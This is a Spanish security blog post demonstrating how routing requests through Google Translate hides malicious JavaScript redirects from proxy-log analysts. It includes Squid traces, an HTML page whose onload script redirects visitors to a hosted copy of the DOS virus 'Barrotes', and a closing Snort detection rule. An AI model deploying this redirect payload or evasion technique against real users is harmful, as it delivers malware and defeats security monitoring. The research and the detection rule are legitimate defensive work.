En la actualidad, el tráfico http cada vez es menos visible para un analista de seguridad ya que ahora, en muchos casos, los servidores web obligan a usar https y por lo tanto, dejamos de tener mucha visibilidad.
En este aspecto, algunas organizaciones optan, o bien por “romper” el tráfico ssl gracias al uso de un certificado impuesto, o bien solo permiten acceso https para algunos servicios determinados. Algunos de estos servicios, como es el caso de Google, suelen estar permitidos.
Hablemos entonces, por ejemplo, del traductor de Google. Se me ocurrió la idea de hacer bypass a las conexiones a través de un traductor, en este caso de Google.
Para las pruebas instalé un proxy transparente (Squid) y analicé las trazas de navegación hacia un sitio con determinados recursos, y después lo hice a través de “Google Translate”, y vi que se producían ciertas diferencias entre los dos casos.
A continuación se muestran los dos tipos de navegación, donde primero se accede a la web del Ayuntamiento de Madrid directamente y después se accede traduciendo la web a chino.
Visita sin traducir:
1487754265.680 179 ::1 TCP_MISS/200 909 GET http://www.google.es/url? - HIER_DIRECT/216.58.198.67 text/html 1487754265.986 216 ::1 TCP_MISS/302 661 GET http://www.madrid.es/ - HIER_DIRECT/84.53.132.56 text/html 1487754266.055 53 ::1 TCP_MISS/200 17113 GET http://www.madrid.es/portal/site/munimadrid - HIER_DIRECT/84.53.132.56 text/html 1487754266.124 37 ::1 TCP_MISS/200 2965 GET http://www.madrid.es/assets/css/vendor.css - HIER_DIRECT/84.53.132.56 text/css 1487754266.177 89 ::1 TCP_MISS/200 21562 GET http://www.madrid.es/assets/css/ayuntamiento-madrid-bootstrap.min.css? - HIER_DIRECT/84.53.132.56 text/css 1487754266.179 89 ::1 TCP_MISS/200 983 GET http://www.madrid.es/assets/css/ayuntamiento-madrid-custom.css? - HIER_DIRECT/84.53.132.56 text/css 1487754266.198 107 ::1 TCP_MISS/200 1509 GET http://www.madrid.es/assets/css/ayuntamiento-madrid-print.min.css? - HIER_DIRECT/84.53.132.56 text/css 1487754266.207 115 ::1 TCP_MISS/200 20274 GET http://www.madrid.es/new/js/jquery-1.3.2.min.js - HIER_DIRECT/84.53.132.56 text/javascript [...] 1487754266.347 68 ::1 TCP_MISS/200 2090 GET http://www.madrid.es/assets/images/logo-madrid.png - HIER_DIRECT/84.53.132.56 image/png
Ahora se traduce:
Las trazas que se ven son:
1487754569.785 228 ::1 TCP_MISS/302 693 GET http://translate.google.com/ - HIER_DIRECT/216.58.211.238 text/html 1487754649.654 64 ::1 TCP_MISS/200 0 CONNECT inputtools.google.com:443 - HIER_DIRECT/216.58.210.142 - 1487754651.531 137 ::1 TCP_MISS/304 359 GET http://www.madrid.es/assets/images/logo-madrid.png - HIER_DIRECT/84.53.132.56 image/png 1487754651.543 148 ::1 TCP_MISS/304 360 GET http://www.madrid.es/assets/images/temperatura/n_13.png - HIER_DIRECT/84.53.132.56 image/png 1487754651.544 149 ::1 TCP_MISS/304 361 GET http://www.madrid.es/Datelematica/nuevoMadrid/Promocionales/Inicio/ParaTi/LoqueInteresa_Discapacidad.png - HIER_DIRECT/84.53.132.56 image/png 1487754651.547 152 ::1 TCP_MISS/304 323 GET http://www.madrid.es/Datelematica/nuevoMadrid/Promocionales/Inicio/AUnClic/Ficheros/2017_Presupuesto_260x260.jpg - HIER_DIRECT/84.53.132.56 image/jpeg 1487754651.563 168 ::1 TCP_MISS/304 361 GET http://www.madrid.es/Datelematica/nuevoMadrid/Promocionales/Inicio/AUnClic/Ficheros/planDerechosHumanos260x.png - HIER_DIRECT/84.53.132.56 image/png 1487754651.925 218 ::1 TCP_MISS/200 9464 CONNECT sdc.munimadrid.es:443 - HIER_DIRECT/195.55.79.59 - 1487754652.154 122 ::1 TCP_MISS/200 774 CONNECT sdc.munimadrid.es:443 - HIER_DIRECT/195.55.79.59 - 1487754705.432 176513 ::1 TCP_MISS/200 908 CONNECT consent.google.com:443 - HIER_DIRECT/216.58.201.142 - 1487754744.593 216543 ::1 TCP_MISS/200 212203 CONNECT www.google.es:443 - HIER_DIRECT/216.58.198.67 - 1487754746.434 176171 ::1 TCP_MISS/200 45760 CONNECT www.gstatic.com:443 - HIER_DIRECT/216.58.211.227 - 1487754755.436 176386 ::1 TCP_MISS/200 5237 CONNECT clients1.google.com:443 - HIER_DIRECT/216.58.211.238 - 1487754758.387 673 ::1 TCP_MISS/200 4247 CONNECT securityartwork.es:443 - HIER_DIRECT/90.161.233.229 - 1487754758.746 176030 ::1 TCP_MISS/200 5103 CONNECT ssl.gstatic.com:443 - HIER_DIRECT/216.58.211.227 -
¿Y los javascript? Esto es un ejemplo, pero ahora se hace una prueba de concepto para que se vea mejor.
Para esta prueba, he registrado una cuenta en un hosting gratuito, he instalado WordPress (http://www.smsmms.5gbfree.com) y además, he instalado una serie de plugins para poder incluir javascript, por ejemplo en el header del blog. Este código descarga el virus “Barrotes” cuando se carga la página.
Una vez la página es cargada, descargará un virus de forma directa, tal y como se ve:
1487760822.889 3224 ::1 TCP_MISS/200 54563 GET http://www.smsmms.5gbfree.com/uncategorized/hello-world/ - HIER_DIRECT/209.90.88.138 text/html 1487760823.155 479 ::1 TCP_MISS/200 994 GET http://www.smsmms.5gbfree.com/wp-content/themes/twentyseventeen/assets/js/skip-link-focus-fix.js? - HIER_DIRECT/209.90.88.138 application/javascript 1487760823.176 498 ::1 TCP_MISS/200 1390 GET http://www.smsmms.5gbfree.com/wp-includes/js/comment-reply.min.js? - HIER_DIRECT/209.90.88.138 application/javascript […] 1487760823.925 1252 ::1 TCP_MISS/200 97497 GET http://www.smsmms.5gbfree.com/wp-includes/js/jquery/jquery.js? - HIER_DIRECT/209.90.88.138 application/javascript 1487760824.030 106 ::1 TCP_MISS/200 2225 GET http://2.gravatar.com/avatar/? - HIER_DIRECT/192.0.73.2 image/jpeg 1487760825.616 1664 ::1 TCP_MISS/200 115156 GET http://www.smsmms.5gbfree.com/wp-content/themes/twentyseventeen/assets/images/header.jpg - HIER_DIRECT/209.90.88.138 image/jpeg 1487760826.330 701 ::1 TCP_MISS/200 2005 GET http://missjanieboo.cf/DOS_Viruses/Virus.DOS.Barrotes.1310.j - HIER_DIRECT/100.7.27.163 -
Ahora de lo que se trata es de realizar la misma acción pero ocultando al analista lo que está pasando por debajo. Por tanto, en el siguiente paso se crea un fichero html llamado welcome.html con ruta http://www.smsmms.5gbfree.com/wp-includes/js/welcome.html y que contiene el siguiente código:
<html> <head></head> <title>Esto es una prueba.</title> <script language=javascript> function redirect(){ window.location = "http://missjanieboo.cf/DOS_Viruses/Virus.DOS.Barrotes.1310.j"; } </script> <body onload="redirect()"> <b>llamada a barrotes</b><br> </body> </html>
Como se puede apreciar, ahora dentro del fichero welcome.html está el código javascript que antes habíamos incluido en el header. La diferencia es que lo hemos trasladado a un nuevo fichero html al que vamos a llamar desde otro javascript, y además con la peculiaridad que en la llamada lo vamos a hacer con el traductor de Google. Por lo tanto, ahora el header de la web contiene lo siguiente:
Ahora al visitar http://www.smsmms.5gbfree.com solo se ven las siguientes trazas:
1487764452.129 1580 127.0.0.1 TCP_MISS/200 50176 GET http://www.smsmms.5gbfree.com/ - HIER_DIRECT/209.90.88.138 text/html 1487764452.497 310 127.0.0.1 TCP_MISS_ABORTED/000 0 GET http://www.smsmms.5gbfree.com/favicon.ico - HIER_DIRECT/209.90.88.138 - 1487764452.570 367 127.0.0.1 TCP_MISS/200 84047 GET http://translate.google.com/translate? - HIER_DIRECT/216.58.201.142 text/html 1487764452.732 130 127.0.0.1 TCP_MISS/200 1032 GET http://translate.googleusercontent.com/translate_p? - HIER_DIRECT/216.58.201.129 text/html 1487764453.177 372 127.0.0.1 TCP_MISS/200 2142 GET http://translate.googleusercontent.com/translate_c? - HIER_DIRECT/216.58.201.129 text/html 1487764453.306 65 127.0.0.1 TCP_MISS/200 705 GET http://translate.google.com/translate_un? - HIER_DIRECT/216.58.201.142 text/html
Análisis con fiddler:
En las trazas no se ve ni rastro de la petición al virus con lo cual es una manera fácil de ocultar al analista de seguridad lo que está pasando, sin hacer uso de https.
Pero en el navegador del usuario se ve esto:
Cuando se analiza la web en VirusTotal solo aparece un positivo:
Una buena forma de detectar posibles accesos no autorizados a través del traductor de Google es crear una regla que contenga una expresión regular que sea capaz alertar si sucede.
Ejemplo para snort:
alert tcp any any -> any $HTTP_PORTS (msg:"Malware Patron google_translate_redirect"; content:"translate.google.com"; pcre:"/.+translate\.google\.com\/translate.*\?.+\=.+\&u\=(http|www).+\..+/"; classtype:trojan-activity; sid:9999999999; rev:1;)
Buena informacion saludos !!!!